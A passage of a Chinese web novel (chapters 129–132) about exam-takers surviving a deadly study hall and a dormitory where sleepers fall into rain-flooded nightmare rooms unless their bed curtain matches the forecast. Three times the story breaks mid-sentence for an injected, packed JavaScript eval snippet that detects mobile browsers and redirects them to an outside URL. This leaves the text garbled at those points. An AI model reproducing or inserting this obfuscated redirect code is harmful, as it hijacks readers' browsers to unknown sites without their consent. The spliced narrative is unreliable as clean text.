明知如此,吴樊祐却怂恿陈奇他们去答题,俞小澄一时不知他是太相信她的实力,还是就想看人栽跟头丢命。 不过用不着她劝诫,自习室内又是一阵惊呼,原来方才上前答题的考生被机器人烧成了一团灰,原本还跃跃欲试的人,瞬间稳坐在座位上,谁也不敢再上前。 “又怎么了?”俞小澄惊讶地问。 白羽楠咽了咽唾沫,沉声回答:“问题变了,要那考生说出书籍作者的名字……” 这一下,嚷着要去答题的陈奇噤了声,伏在桌上再不敢提离开自习室的话题了。 白羽楠索性认真读起手上那本推理小说,不过拳头厚度的小说,她感觉一晚上都不可能看完,更别说完全记住书中细节。 不过在读书过程中她意外发现,如果红光扫过时,她的视线落在书上,即便不用书挡脸,红光同样不会发动攻击。 可见,自习室的规则就是看书,绝不能让机器人发现自己没在看书。 俞小澄手上的儿童绘本读起来倒是简单,不过二十分钟她就全部读完,可她并不想去答题冒险,干脆用书挡着头,趴在桌上睡觉。 吴樊祐更不用说,他实在看不进去养猪指南,早就倒头大睡了。 就这样一直持续到晚上九点,按理说,自习时间已经结束,可讲台上的机器人似乎没有停下来的打算,红光随着视线有节奏地从考生身上扫过,一遍接着一遍,没有终点。 陈奇按捺不住,用书挡着脸走到了门边,转动把手,门竟然开了,他兴冲冲嚷道:“切,我还当啥要命关卡,原来就是一小时禁闭。” 见陈奇安全离开了场地,无脸考生纷纷效仿,见离开的人多了,单浩言和方英彦才谨慎地站起了身。 等到人基本离开完毕,看小说入了迷的白羽楠才回过神,赶紧摇醒睡着的两人,三人顶着书往门外走去。 俞小澄偶然回头看了一眼自习室内,只见还有一个无脸考生坐在里面看着书,似乎十分专注,甚至没注意到自习室内只剩他一人。 俞小澄认出那人上裤子的墨迹,似乎是那个很聪明的考生,她也不知道自己为何出声提醒了那人,兴许是不习惯看见某人落单。 那人举着书抬起头,似乎有些诧异,但是始终没有站起身,随后一个听上去有些熟悉的声音回道:“这本书很有意思,我打算通宵看完。” 既然对方都这么说了,俞小澄也懒得多管闲事,转身离开了自习室。 房门开闭前,她隐约听到那人道了声“谢谢”。 129. 梦境(五) 走过长长的走廊,俞小澄感觉都快对这些令人不安的陈设产生免疫了。 来到走廊尽头,这次终于发生一些细微变化,除了一扇双开大门,门边还挂着一个显示屏,屏幕里似乎播放着天气预报。 俞小澄好奇地凑到跟前,只见屏幕上的显示有些奇怪。 没有温度,没有地点,没有日期,只是写着今晚两个字,下面画着一个雨云图案。 看样子,似乎是预告今晚有雨。 一时摸不着头脑,俞小澄跟着人群进了大门,房间异常宽敞,房中整齐地摆着一排排双层床,每张床上都铺着颜色各异的床单,被子和枕头看上去也足够绵软,床边还贴心地挂着遮光床帘。 不过与完全不重样的床上三件套不同,床帘的样式有所重复,看上去卡通的图案,如果仔细辨认,可以看出雨滴、太阳、闪电、雪花和风。 不少人已经开始寻找自己心意的床铺准备入睡,大概经历了这一整天的摧残,大家的疲惫都是一样的。 俞小澄在房子里转了一圈,往里走有一个集体卫生间,旁边还有一个淋浴间。 环境算不上十分优渥,却也算舒适。 白羽楠选了个靠窗的位置,招呼着俞小澄过去,她选的上下铺的床帘上都画着可爱的太阳笑脸,让人看着心情也跟着阳光起来。 二人商量好床位分配,最终俞小澄选择了下铺,而白羽楠选择了上铺。 吴樊祐则选在了紧邻二人床铺的地方。 大概是太过劳累,大多数人简单洗洗,便爬上床躺倒。 俞小澄也不是觉得不困,就是心里有些莫名不安,总在怀疑夜里还会出点什么状况。 吴樊祐心大地安慰道:“睡吧,总不能睡觉时间还给玩家出考题吧。” 没想到这句话竟一语成谶。 在疲倦感侵袭下,俞小澄渐渐坠入梦乡,这一坠,差点没闪到她的老腰。 俞小澄以为自己睡觉跌下了床,揉着屁股和腰,扶着床边站起身,却发现床哪里还是上下铺,她此时站在一间空荡荡的小房间里,一抬头就能看到乌云密布的天空。 “什么情况?屋顶去哪儿了?”俞小澄忍不住吐槽道。 她随即摇了摇头,这哪里是重点,重点是她到底在哪里?怎么其他人都不见了? 俞小澄在屋子里走了一圈,房子很小,除了一张床什么也没有,甚至没有门。 房子的高度让她根本不用幻想翻墙出屋,她走到窗前往外张望,屋外黑漆漆一片,什么都看不到。 正在这时,空中淅淅沥沥下起雨来,没有屋顶的房子与户外无异,俞小澄无奈地抓起被子裹住自己,勉强当做挡雨的道具。 俞小澄唤了两声招财进宝,可是四周一片寂静,没有任何回应。 “不对,我要不是在睡梦里,要不是在被恶灵影响的独立空间里,所以招财进宝才无法进来。” 俞小澄努力冷静思考着如今的局面。 天空中的雨越下越大,显然没有停下的迹象,用被子挡雨终究只是权宜之计,如果雨一直不停,被子早晚会湿透,并非长久之计。 俞小澄的视线在空荡荡的房间里扫过,最后落在了唯一的一件家具上。 来不及想太多,俞小澄将被子放到一旁,试了试床的重量,属实不是她一人可以抬起来的。 于是她退而求其次,选择了挪动床垫,虽说这张床垫也挺沉的,可与床相比还是要轻上一些。 她费了九牛二虎之力,才勉强将床垫抬起来,倾斜着靠在床头墙上,与垂直的墙面保持了一定的角度,中间便形成了一个三角形的空间。 俞小澄拿上被子躲进了这个三角形空间里,借着床垫躲雨。 淋雨的问题暂时解决了,俞小澄终于有精力开始思考如今的处境。 她敢肯定,这也是恶灵设下的陷阱,果然连睡觉都不放过,可是她要如何离开这里呢? 只要是恶灵设下的难题,那必然也是遵循了某种规则,不过她方才在房间里看了一圈,并没有发现任何提示。 “总不能是故意将玩家传送到小房间里淋雨吧……”俞小澄自言自语,心力交瘁地望着地面一片片水渍。 雨! 她猛然回想起自己似乎在哪里看到过与雨相关的信息,就在进入宿舍前,大门旁显示屏上的天气预报。 今晚有雨! 莫非当时就在提示玩家,晚上睡觉的规则是躲雨? 多少有些不合逻辑,按理说,如果提前发现了规则,那应该有办法规避才对。 或者说,淋雨已经是惩罚了?因为自己没有意识到规则的存在,所以才会淋雨? 那这个处罚机制触发的条件又是什么呢? 要如何判定玩家是否意识到规则的存在,然后选择规避呢? 俞小澄脑内风暴不断,直到回想起整个宿舍中唯一与天气预报有关的东西——床帘。 是的,床帘是房中唯一有类别的东西,并且上面的图案分明暗示着各类天气。 兴许必须要选对床,才能免受惩罚。 不过,这种惩罚是否是致命的呢? 俞小澄不由得担忧起来…… 时间一点点过去,天空中的雨始终未停,落入房中的雨渐渐产生了积水,并一点一点向上攀升。 因为有床垫挡雨,俞小澄暂且还未被淋成落汤鸡,否则时间一长,恐怕有失温风险。 可现下难题似乎不止是淋雨这一点,还有这积水的问题。 如果一直无法离开这里,这积水迟早会漫过床铺,届时就不是淋不淋雨,而是泡不泡水…… 忽然想到白羽楠和自己选择了同类型的床帘,那么大概率也在淋雨,不过白羽楠身上带着雨衣道具,这点倒不用她太过担心。 至于吴樊祐,俞小澄当时没注意他的床帘是什么图案,只默默祈祷吴樊祐没自己这么倒霉。 思绪漫无边际地乱飞,不知不觉积水已经漫上了床沿,漫过了俞小澄的脚底。 冰凉触感从脚底传来,让她浑身一颤,她知道如果想不出办法,她今晚恐怕会交代在这里。 俞小澄伸长脖子望向屋顶,冰冷的雨水拍打在脸上,她开始计算起从屋顶逃出去的可能性。以屋顶的高度,想要徒手爬出去几乎是不可能,但如果水位升高,那这种不可能就不是绝对的了。 可是出去以后呢? 注定浑身湿透的自己又该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210710|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何去何从? 是否能逃脱这场噩梦呢? 无尽的未知总能激起人内心的恐惧。 晃眼又瞥见那扇窗户,屋外依然被黑暗统治着。 俞小澄忽然想到,与其等到积水上涨,自己浮水而上,干嘛不直接敲碎窗玻璃呢?这不是逃出房间更快捷的方式吗? 她敲了敲自己的头,只恨自己方才光顾着躲雨,完全没想到逃离出屋,如今水都漫过膝盖了才想起来。 一边自我埋怨着,一边扛着被子从床垫下走出,趟着水走到窗边,俞小澄用被子抱住脚,然后冲着玻璃一脚踹了上去,动作干净利落。 万幸玻璃并不坚固,被她一踹,伴随着咔嚓的脆响声,玻璃碎裂,在外力作用下往屋外飞去,却没有发出落地的声响。 俞小澄借着被子将窗户上残留的玻璃碎片清理干净,然后将头支出窗外。 黑暗中什么也看不见,同时也什么都感受不到,甚至没有雨滴拍打脸颊的触感,就像这场雨只在屋内下着。 相较之下,屋外明显更加舒适,没有这该死的雨打扰,她可以好好睡上一觉。心中生出一丝逃离的欲望,黑暗中仿佛有什么在诱惑着她走出房间。 脚上冰冷的触感,泡到皮肤变皱的脚趾头,因雨水模糊的双眸,浑身潮湿黏糊的不适感,全都催促着她逃走。 精神逐渐恍惚,她仿佛看到黑暗中亮起的壁炉,如果到了那里,应该能让自己好受吧? 俞小澄抬起一只腿,踩在了窗框上,双手抓住窗框两侧,只要纵身一跃,便可离开这个倒霉地。 正当她要跳进黑暗的怀抱,一道光射进房间里,让俞小澄的动作停顿下来,她回头望去,竟发现了一道开启的房门,而耀眼的光正是来源于此。 那光让俞小澄迷糊的大脑霎时间清醒过来,前一刻还无比向往的屋外,此刻看上去狰狞可怖。 俞小澄不禁捏了一把汗,急忙收回脚,远离了窗边,转身朝着亮光走去。 蓦然从梦中惊醒,俞小澄发现自己还躺在床铺上,床帘不知何时被拉开一道缝,清爽的夜风正从缝隙中灌入,吹散了脑子里的混沌感。 感觉有个黑影一闪而过,俞小澄掀开床帘向外探去,却未及时捕捉到任何人的身影,仿佛只是错觉,偌大的宿舍中只有沉重的呼吸声。 只是一场梦吗? 俞小澄摸了摸身上衣服,未有半点湿润,可没来由的寒冷自灵魂深处往外渗出,犹如浑身被冷雨浸透,一切感觉如此真实。 不止是一场梦而已。 那场梦即便没有对她的身体造成攻击,却明显对她的精神造成了不可逆的伤害,很难想象如果没有出现那扇门,自己会迎来何种结局。 招财进宝被她的动静吵醒,揉着眼睛问她怎么了。 俞小澄将经历的诡异噩梦说与二人听,招财进宝震惊不已,显然他俩虽然就躺在俞小澄身边,可并没有跟俞小澄一样堕入恐怖幻境。 俞小澄看着床帘有些茫然,是偶然被风吹开了吗? 如果没有这样的偶然事件发生,兴许她并不会从噩梦中逃离出来,如此一想,顿觉毛骨悚然,这床都跟着变得阴森起来。 吓得她急忙跳下了床。 130. 梦境(五) 陡然想起白羽楠和吴樊祐,俞小澄扶着爬梯踩在床边,抬手一把拉开了白羽楠的床帘。 只见里面的人犹如被梦魇住,表情痛苦,却还紧闭着双眼,俞小澄一边唤着白羽楠,一边用手拍着她的肩膀,然后看着白羽楠缓缓睁开眼才松了一口气。 俞小澄急忙跳下床,又奔到了隔壁床,顾不上太多,掀开了床帘,然而与白羽楠的情况不同,睡梦中的吴樊祐呼吸均匀。 俞小澄并不放心,还是摇醒了吴樊祐。 吴樊祐半睁开眼,看向俞小澄的眼神明显还不太清醒,含糊不清地嘟囔道:“学姐……我就说你一定没问题……让我再睡会儿……” “说什么胡话呢?” 看着眨眨眼又要昏睡过去的人,俞小澄直接伸手掐住了他的脸。 吴樊祐一边叫着疼一边从床上坐了起来,环顾四周,眼神逐渐清澈,似乎终于清醒了过来。 “嗯?学姐怎么……” 吴樊祐脸上似有一抹异色一闪而过,话抖出一半立刻急转弯,“天亮了吗?没啊,这时候找我,有事?” 俞小澄反问:“你没遇到什么怪事?” 吴樊祐疑惑:“我应该遇到什么怪事吗?” 正在说话间,隔壁上铺的白羽楠从床边伸出半个身子,难色有些苍白,俨然一副受了惊吓还未缓过来的模样。 “我做了个怪梦,有点太真实了……” “是不是没有屋顶的房间,恰逢雨天?”俞小澄问。 白羽楠瞪大了眼睛:“啊对,你怎么知道?难道你也?” 果然与俞小澄预想的一样,方才她们的确掉入了恶灵的陷阱,而拉开床帘似乎可以让陷入噩梦中的人逃离。 为了验证自己的猜想,俞小澄壮着胆一一拉开了宿舍中所有人的床帘。 至于后果,大致分为两类:有人和白羽楠一样,摆脱痛苦清醒过来,对俞小澄表示感激;有人则因为熟睡被吵醒,冲着俞小澄就是一顿破口大骂。 整个宿舍从寂静无声变为嘈杂热议,俞小澄满意地回到了自己的床边。 这时,同样受了惊吓的陈奇、单浩言和章锐跟了过来,身后还有一人,方英彦,他正一头雾水,似乎旁人的经历他并未遭遇。 等众人围在一起,俞小澄将床边挂的床帘展开,指着上面的图案,道:“方才我终于确定,没有陷入噩梦的人,他们睡的床铺上,都挂着图案为雨滴的床帘。” 其中便包括吴樊祐和方英彦,不知这两人走了什么狗屎运。 其他人的经历基本相同,都是在没有屋顶的房间里淋雨,然后泡在积水中,不知该如何逃离。 白羽楠比他们好了一点,她手上有雨衣并不怕淋雨,可是最终忍受不了不断上涨的积水,险些跳窗逃跑。 “幸好门出现得及时。”白羽楠盘腿坐在上铺,不敢想如果门出现得再晚些,自己会遇到什么事。 方英彦表示自己只听到雨声,全程睡得很安稳,中途半梦半醒感觉自己睡在一间密闭的房间里,但只顾着睡觉,所以也没在意。 “所以说,需要找与天气预报相对应的床帘图案?”陈奇举目寻找着目标。 方英彦闻言,转身就往原本的床位走去,一副担心床位被占的做派。 俞小澄方才叫醒全宿舍的考生时,还顺带着清点了床位,房中总共一百张床位,按照床帘图案分类,可以分为晴、雨、风、雷、雪五类,一类各占二十张床位。 如今剩余考生59人,安全的床铺显然不够应对所有考生。 宿舍中的人逐渐明白情况后,一场抢床大战开始在房中上演,为了抢夺安全的床位,房间内乱作一团,有的拉帮结派搞垄断,有的为争抢大打出手…… 吴樊祐将自己的床让给了俞小澄和白羽楠,自己则站在一旁当保镖,让想来抢床的人望而却步。 这场争斗持续了半个小时,终于在有人喜有人愁中落下了帷幕,有的人选择了共享,有的人选择了独占,也有的人无奈落败…… 比如单浩言和章锐、陈奇和方英彦,都选择了一起挤一晚,毕竟两个人的战斗力总强过一个人。 但还有十来个人不幸成了落败者,争抢不过的他们,要么选择打个地铺将就一晚,要么选择直接不睡了。 俞小澄和白羽楠有种鸠占鹊巢的罪恶感,哪里能安心睡下,叫上吴樊祐一起做起了实验。 如果噩梦由床帘决定,那去掉床帘是否能避免进入噩梦呢? 俞小澄起身将自己床上的太阳图案床帘拆掉,而后躺上床,安排白羽楠和吴樊祐十分钟后叫醒自己,便闭眼睡去。 她入睡并不困难,头挨上枕头没一会儿,意识变得混沌起来,冰冷的触感环绕周身,一个激灵,她陡然睁开了眼。 天空依然下着雨,破碎的窗户钻进阵阵冷风,她正躺在床垫与床头形成的三角空间里,房中的积水已经漫过了她半个身子。 就像接着做起了同一个噩梦,甚至连进度都被保留,她又重新回到了这个恐怖故事中。 俞小澄现在可以肯定,床帘并不是触发幻境的关键,而是正确图案的床帘能够提供保护,抵挡预定的恶劣天气。 俞小澄蹲在床上,等待着时间一点点过去,只要有人将她叫醒,她便可以离开这个鬼地方。 “俞小澄……” 忽然她听到有人在屋外叫她的名字,声音相隔甚远,听得有些不真切,听上去像是吴樊祐在呼唤。 俞小澄竖起耳朵仔细聆听,隐约听到那声音从破碎的窗口飘了进来。 “俞小澄,我找到记忆之门了,你要不要和我一起离开?” 那声音勾起俞小澄内心的好奇,让她心痒难耐,鬼使神差地淋着雨,趟着水,从床垫下爬了出来,一步步靠近窗边。 俞小澄的视线在黑暗中探寻,急切想要寻到声音的来源。 然后远处亮起微微火光,她看到吴樊祐站在一扇门前,正朝她伸出手来,似是盛情邀约。 “俞小澄,快来,否则我就真的走了。” 那声音太过温柔,引得俞小澄鼻子一酸,红了眼,心房被惆怅与苦楚攻占,心中焦急地呼唤:“等等,别走,别扔下我一个人。” 一股想要逃离的冲动油然而生,她双手扶住窗框,一脚踩上窗台。 就在她准备跳出的一瞬间,另一个声音在耳边响起,仿佛离得很近,可又看不见。 “小澄姐,那里不是你该去的地方。” 那声音听上去无比耳熟,可脑子里一片混沌的她竟一时想不起这声音的主人是谁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214213|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你仔细看看窗外,那里真的有你想要的东西吗?”那声音坚定而平缓。 俞小澄顺从地往窗外看去,远处的人影变得模糊扭曲,黑暗中她只看到了无尽的深渊,如鬼魅一般引诱着她走出房间。 俞小澄霎时清醒过来,连连后退,冰冷的雨水拍打在脸上,那些呼唤她的声音全都消失不见,耳边只余雨声淅淅沥沥,冲刷着空寂的房间。 正在这时,那扇通往光明的房门再次出现,俞小澄打了个寒颤,急冲冲离开了这个诡异的房间。 下一秒,她从床上坐了起来,寒气在身体里乱窜,冻得她不由得裹紧了被子。 “小澄姐,你没事吧?拆掉床帘也没有用吗?”白羽楠坐在床边,轻抚着俞小澄的后背,安抚着俞小澄尚不稳定的情绪。 俞小澄缓缓呼出几口气,仿佛想将寒气从体内驱逐,抬起有些颤抖的手指,指了指吴樊祐床上的床帘,道:“嗯,只要睡觉,就必然会进入那个空间,大概正确的床帘可以抵御对应天气的伤害。” “那我有个想法!”白羽楠灵机一动,“如果我们打地铺,并将床帘盖在身上会如何?” 如果白羽楠的方法可行,倒是可以解决一床睡不下三人的难题。届时他们三个取两张床垫打个地铺,再将床帘搭在身上,兴许能凑合睡上一晚。 说着,白羽楠便自告奋勇当了下一个实验小白鼠,将吴樊祐床上的床垫和床帘全部拆下,扔在地上,白羽楠给自己打了个地铺,盖上床帘就寝。 这一回,由俞小澄和吴樊祐负责叫醒,时限同样是十分钟。 白羽楠睡前,俞小澄低声嘱托一句:“不管看到什么,听到什么,都不要翻出屋子。” 白羽楠铭记于心,随即安然睡去。 “学姐听到什么,看到什么了?恐怖的东西?”吴樊祐背靠着爬梯,双手环在胸前,一脸困倦地搭着话。 俞小澄看着他的脸,回想起窗外看见的景象,还有听到的那些话,脸颊不禁有些发烫,还好宿舍里熄了灯,对方看不清她此刻脸上的红晕。 “哦,魅魔,挺恐怖的。”俞小澄随口回道。 这句话反倒引起吴樊祐的兴趣,他摸着下巴,露出一丝玩味的笑,好奇追问:“魅魔?呵,那不是诱惑人的魔鬼吗?应该长得不错才对啊,怎么会恐怖呢?” “你见过魅魔吗?”俞小澄毫不示弱。 “没见过。”吴樊祐如实答道。 “那你怎么知道魅魔不恐怖?”俞小澄抓到机会反击。 “……”吴樊祐一愣,反问,“照你这说法,你见过?” “没见过。”俞小澄理直气壮地回答。 “那你怎么知道自己看到的是魅魔?”吴樊祐质疑。 “他自己说的。”俞小澄一口咬定。 “……”吴樊祐被噎得接不上话,无奈败下阵来,举手投降一般说道,“好吧,算你说得有理,那这位长相恐怖的魅魔跟你说了什么?” 这次轮到俞小澄苦恼了,一时编不出故事,她又不能说真话。 一筹莫展之际,忽然回想起另一个声音,那个让她感觉熟悉的声音,那个将她的理智唤醒的声音,此时她想起了那个声音的主人,于是趁机转移了话题: “我好像在梦里听见张尧的声音了!” 131. 梦境(五) 吴樊祐听到这个名字,垂眸俯视着坐在地上的俞小澄,眼睛眯成一条线,说话的声音忽然阴阳怪气起来:“呵,原来是个男魅魔啊!” “额……不是,魅魔是另一个,我是说我只听到张尧的声音,没看见人。”俞小澄发觉不对劲,赶紧补充解释。 吴樊祐冷笑一声:“哼,还不止一个……学姐难道喜欢这一款?斯文败类?” “什么乱七八糟的……张尧是挺斯文,跟败类不沾边吧!”俞小澄无奈辩解。 吴樊祐小声嘀咕道:“不管是不是败类,他跟学姐不合适,你这是犯罪!” 什么鬼?犯罪? 俞小澄目瞪口呆,要不是怕吵到熟睡中的人,她感觉自己能不顾形象送吴樊祐一个过肩摔,当然,想象终归美好。 现实是她只能忍着怒火,咬牙问:“不合适就不合适,跟犯罪有啥关系?” 吴樊祐迅速思考,然后一本正经答道:“学姐大学毕业,他还没成年吧?” 俞小澄惊呆了,不知道吴樊祐干嘛要找自己的茬,还特意强调她的年纪,本就敏感的内心对这些话产生排斥,心道:他这话是不是在点我? “知道了,知道了,我本来就不喜欢年纪小的人,不会做这种犯罪的事!”俞小澄心中不悦,还要故作镇定,敷衍地回应。 “?” 吴樊祐傻了眼,抓耳挠腮思考着哪里不对,“也不用这么极端吧……” 俞小澄不欲继续这个话题,将目光转到了熟睡中的白羽楠,看了看手表,见时间差不多了,赶紧拍着白羽楠的肩将人叫醒。 白羽楠睡得挺香,醒来时还有些茫然,片刻后才回过神来,想起自己身在何地,她激动地告诉俞小澄:“这个办法可行!” 此刻俞小澄和吴樊祐的情绪都有些异样,气氛凝重得有些压抑,而白羽楠很敏感地觉察到,只是不知她在睡觉的这十分钟里,二人之间发生了何事。 “嗯……要不先睡?有什么问题咱明早再解决?” 白羽楠说着又起身去拆了一张床垫,与地上那张拼在一起,然后拍拍床垫,示意二人躺下。 俞小澄气闷,默不作声地躺到了边上,白羽楠自然被挤到了中间。见俞小澄这模样,白羽楠猜到她二人必发生了争吵。 白羽楠抬头看了看吴樊祐,又看了看身下位置,似乎让吴樊祐睡中间更奇怪,于是与俞小澄挤在一张床垫上,将另一张让给吴樊祐,并大方说道: “行了,睡吧,我不嫌弃你。” 这话让吴樊祐原本就阴沉的脸又沉了几分。 “睡不着,我去外面透透气。”吴樊祐冷冷撇下一句话,转身朝宿舍外走去。 “外面密闭走廊,能透什么气啊……这里有窗……”白羽楠指着床边窗户劝道。 然而执意离开的人就像听不到她说的话一样,脚步一刻未停,身影很快便消失在黑暗之中。 白羽楠无奈躺下身,小心翼翼地低声问道:“怎么了这是?你们吵架了?” 俞小澄侧身背对着白羽楠,没有回头,眼神空洞地目视着前方,有些失落地悄声回答:“没有吵架,只是……他好像在提醒我,让我别喜欢年纪比我小的人。” “啊?”白羽楠支起身子,声音难掩诧异,“他这是什么意思?” 俞小澄轻轻叹了口气:“不知道,大概是他不能接受的事吧。” “难道刚才我不在的十分钟,你跟他表白了?”白羽楠捂着嘴,眼睛里流露出一丝钦佩之情。 “怎么可能……”俞小澄始终一副有气无力的模样,就算闭上眼,脑子里也是一团乱,根本没法安静睡去。 “他不知道你喜欢他,那他干嘛对你说这种话,你喜欢年下还是年上,跟他有什么关系?真是的,我非得去骂他一顿不可!” 白羽楠说着就要起身,吓得俞小澄赶紧回过身拉住了她,将人压到枕头上躺好,再用床帘封印,俞小澄才无奈说道: “你就别添乱了,喜欢这种事,本就是我一厢情愿,从来没想过得到回应,这样也挺好的,至少不用丢脸就知道了他的心思。” 俞小澄的话多少有些自我安慰的意思。 这种事终究是俞小澄与吴樊祐之间的事,感情这种东西强求不来,作为过来人的白羽楠自然明白,所以她收敛了自己打算为朋友鸣不平的心思。 她轻轻拍了拍俞小澄的肩,低声安慰:“不喜欢就不喜欢呗,没什么大不了,总能找到更好的不是?” 俞小澄没有多说什么,只是轻声笑了笑,随后便又陷入自我苦闷之中。 是啊,她还能如何安慰自己呢? 还好她从未告白,所以不必经历如此丢脸的事,确实挺好的。 “赶紧送他离开这里吧!” 仿佛下定了某种决心,俞小澄心里如此默念着。 不知胡思乱想了多久,俞小澄终于沉沉地睡了过去。 这一回,她依然进入了一间密闭空旷的房间,房间里只有一张床,而她此刻正躺在被窝里。 与之前的经历不同,这间房子屋顶完好,屋外虽然同样下着雨,可那雨声如助眠的白噪音,只让人感觉惬意,在这样宁静安祥的雨夜,阵阵困意袭来,她终于可以安心入睡。 雨滴敲打着窗玻璃,再没有奇怪的声音诱惑她离开房间,一切看上去如此令人安心。 直到她感觉脸上传来轻柔但冰凉的触感,恍惚间,她又离开了那间屋子,然后朦胧的视线中,她看见有个人影正蹲在自己身旁,带着凉意的指尖划过她的眼弓,在额头弯成一道弧线,最后游走到了她耳尖。 渐渐她意识到,有人将她眼前的碎发捋到了耳后。 不知为何,这人没有让她感觉害怕,倒有种莫名的熟悉与安心感,竟令她一时沉迷于这种迷人心智的触感,于是她假装熟睡,并没有动弹。 那人始终沉默,似乎并不打算叫醒她,只是静静盯着她,什么事也没有干。 过了许久也不见对方离开,俞小澄的脸颊不由得烧了起来,自觉这样装下去不是办法,她出其不意问了句:“干嘛?” 那人似乎一惊,身子不由得僵住,不知所措地挠了挠头,声音窘迫地说道:“呵呵,学姐,我吵醒你了吗?” 俞小澄无奈坐起身,不易察觉地用手背给脸颊降了降温,然后故作淡定地回道:“你挡到我的空气了,有什么事吗?” 她想看看吴樊祐能怎么解释自己的行为,没想到吴樊祐一本正经地答道:“我怕学姐睡觉被蚊子咬!” “哈?”俞小澄简直不敢相信自己听到了什么,“你认真的吗?你眼睛是蚊香吗?” 你要不要听听自己在说啥? 俞小澄的内心惊涛骇浪,实在无法将刚才吴樊祐的举动与驱蚊联系到一起。 “对啊,怎么了?不是为了驱蚊,学姐觉得我是在干嘛?”吴樊祐竟然还恬不知耻地将问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232750|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题扔回给俞小澄。 俞小澄只觉脸上的灼热感一直蔓延到了耳朵上,她干脆强装无所谓,躺回枕头上,冷冷回道:“哦,当然是因为蚊子,总不能有神经病半夜三更睡不着,盯着别人的脸打发时间吧?” “神经病……”吴樊祐一阵心梗,苦笑起来,“怎么感觉你在骂我呢……” 话音刚落,俞小澄忽然觉得不对劲,猛地坐起身,一把抓住吴樊祐的两只手,拉进到自己眼前,调整方向,借着窗外月光想要看清吴樊祐的手,而后长舒一口气。 “又怎么了?这一惊一乍的……”吴樊祐一脸不解地凑上前,看了看自己的手。 俞小澄甩开吴樊祐的手,道:“没事,只是排除一下你趁我睡着伺机报复的可能性。” “哇!我在学姐眼中到底是什么恶毒又小气的形象?”吴樊祐捶着胸口,做出一副受伤的模样,“你不会以为我手上涂了什么东西,往你脸上抹吧?” “咳,不是就早点睡吧。”俞小澄赶紧转移话题。 俞小澄重新躺回枕头上,可吴樊祐依然蹲在她面前,又开始默不作声地低头看着她,看上去没有离开的打算。 “还有事?”俞小澄下意识地摸了摸自己的脸,对于吴樊祐的想法有些摸不着头脑,“你还要留在这儿给我驱蚊吗?” 吴樊祐噗的一声笑了出来,而后坦白道:“不,我其实是想跟学姐道歉。” “道歉?为什么?”俞小澄一时想不起吴樊祐哪里得罪过自己。 记忆猛然抽回到睡觉前,俞小澄忽然觉得有些奇怪,刚才的事好像也谈不上谁对谁错,他只是直白地表达了自己的看法,当然,这个前提是对方不知道自己的心思。 可如今吴樊祐竟然来道歉,俞小澄的心被提了起来,开始担心起自己的心事已经被吴樊祐看穿,所以他才半夜来找她道歉。 “对不起,我无法回应你的心意。” 俞小澄感觉下一秒就能从吴樊祐口中听到这句话。 紧张的神经让她嗓子发紧,眼见吴樊祐要开口,她慌忙伸手捂住了吴樊祐的嘴。 “不,不用道歉,你误会了,没有的事。”辩解的话脱口而出,俞小澄神色紧张地与吴樊祐对视。 可在吴樊祐的眼神中,她看到了一抹失望的光,一闪而过,为深邃的眼眸中渲染出一丝令人怜悯的气息。 吴樊祐轻轻挪开挡住自己嘴巴的手掌,一脸认真地问:“真的不喜欢吗?还是因为我说了不该说的话,你才故意否认……” 他的声音如同被雨淋湿的流浪狗在祈求着路人的怜惜。 俞小澄感觉整个脑子都要炸了,用手揉了揉眉心,打断道:“等等,到底不喜欢什么?” 吴樊祐面露疑惑,道:“不喜欢年纪小的人。” “不是你说喜欢年纪小的人是犯罪吗?”俞小澄悬着的心终于落回了原处,气恼地回怼。 “是啊,所以我这不来跟学姐道歉了嘛!我深刻反省了几小时,觉得自己的想法太片面了,学姐不应该被这种片面的想法所左右,特来道歉,对不起!” 吴樊祐双手合十举过头顶,一副虔诚的样子。 俞小澄只觉越来越糊涂,简直搞不懂吴樊祐的大脑构造,于是随意应了声:“哦……” “那你原谅我了?” “嗯。” “嘿嘿,不过张尧这种小屁孩真的不适合学姐……” “滚!” 132. 梦境(五) 在吴樊祐的顶级脑洞下,俞小澄悬着的心彻底死了,为了一个根本就不存在的伪命题,吴樊祐吵得她不得安宁,直到她对天发誓自己绝对不喜欢张尧,这个异常执着的人才终于肯放过她。 然而此时,天都亮了。 自从俞小澄发现了床帘的秘密后,这一夜看上去还算太平,然而等到考生起床时,不好的结果还是出现了。 当夜,有十来个考生未能寻得正确床帘庇护,其中大部分直接通宵未眠,但也有一小部分人掉以轻心席地而眠,因此,天亮后,地上多了三具冰冷的尸体。 此刻众人才明白,宿舍中的噩梦并不仅仅局限于床铺,在房间内任何地方睡着,都会被迫进入噩梦领域。 